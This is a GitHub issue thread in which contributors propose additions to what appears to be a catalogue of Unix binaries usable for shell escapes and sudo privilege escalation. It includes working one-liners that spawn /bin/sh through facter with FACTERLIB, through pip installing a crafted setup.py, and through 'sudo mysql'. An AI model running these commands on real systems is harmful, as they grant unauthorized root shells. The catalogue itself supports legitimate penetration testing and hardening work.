-
Notifications
You must be signed in to change notification settings - Fork 1.3k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
New bins #20
Comments
Thanks AlessandroZ, that's a great contribution, I'll work on this next days. |
Did you try the
Since it's Ruby I also tried some generic ruby command execution statement, with no luck so far. |
Hi, No in fact, I haven't tested it before. I do not have I agree, it's weird, in lot of examples, they launch system command. |
OK the problem was that directories must be absolute paths. Also apparently there are two kind of facts:
The nice thing about the former is that the Ruby code is executed within the main ruby process so with an exec we can replace it with a proper interactive shell. Here's how: TF=$(mktemp --tmpdir XXXXXXXXXX.rb)
echo 'exec("/bin/sh")' > $TF
FACTERLIB=/tmp/ facter I'm going to add the binary. |
Awesome, nice work. 👍 |
I have seen this one too: |
pip as well using a custom repo: Like these repos (or another custom one): |
Thanks @AlessandroZ, let's see if GitHub can help us keeping track of this: |
Here's the TF=$(mktemp -d)
echo 'import os; os.dup2(0, 1); os.dup2(0, 2); os.execl("/bin/sh", "sh")' > $TF/setup.py
pip install $TF |
It's perfect like that. Thanks for your work. 👍 |
Sorry for opening an issue and not doing a PR but I don't have lot of time, you will do it faster than me.
These new ways are from the FallofSudo project.
Here are some other tools:
mysql
sudo mysql -e '\! /bin/bash'
apt-get
The text was updated successfully, but these errors were encountered: